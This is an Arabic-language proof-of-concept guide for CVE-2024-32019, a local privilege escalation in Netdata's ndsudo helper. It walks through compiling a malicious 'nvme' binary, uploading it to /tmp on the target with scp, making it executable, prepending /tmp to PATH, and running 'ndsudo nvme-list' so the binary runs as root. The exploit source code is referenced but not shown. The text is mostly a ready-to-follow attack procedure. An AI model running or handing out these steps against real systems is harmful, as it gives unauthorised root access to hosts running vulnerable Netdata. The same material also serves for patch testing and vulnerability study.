
برهان المفهوم لثغرة ndsudo في netdata - CVE-2024-32019
ndsudo (استغلال محلي لـ Netdata)يُستخدم هذا الإثبات المفاهيمي لاستغلال الأداة المساعدة الضعيفة ndsudo المرفقة مع Netdata لتصعيد الامتيازات المحلية إلى صلاحيات الجذر. يعمل الاستغلال عن طريق حقن ملف ثنائي ضار في PATH الخاص بالمستخدم يتقمص أمرًا موثوقًا (nvme) ويتم تنفيذه بصلاحيات الجذر بواسطة ndsudo.
لديك وصول شل محلي على النظام المستهدف.
يمكنك تنفيذ الأمر التالي لكنه يفشل مع خطأ "غير موجود" أو خطأ مشابه:
./ndsudo nvme-list
على جهاز المهاجم (أو النظام الضعيف إذا كان لديه مترجم)، قم بتجميع الملف الثنائي (على سبيل المثال، من الملف poc.c في المستودع):
gcc poc.c -o nvme
يجب تصميم هذا الملف الثنائي لفتح شل جذر أو تنفيذ أوامر عشوائية بصلاحيات الجذر.
انقل أو ارفع الملف الثنائي المجمع nvme إلى دليل قابل للكتابة بواسطة المستخدم الخاص بك، مثل /tmp:
scp nvme user@target:/tmp/
# أو استخدم أي طريقة رفع ملفات متوفرة لديك
على النظام المستهدف، تأكد من أن الملف الثنائي قابل للتنفيذ وأضف دليله إلى PATH الخاص بك:
chmod +x /tmp/nvme
export PATH=/tmp:$PATH
يضمن ذلك أن ndsudo سيحل ويقوم بتنفيذ ملف nvme الضار الخاص بك بدلاً من الملف الشرعي.
ndsudo لتنفيذ الحمولةقم بتشغيل الأمر الضعيف لتشغيل ndsudo:
./ndsudo nvme-list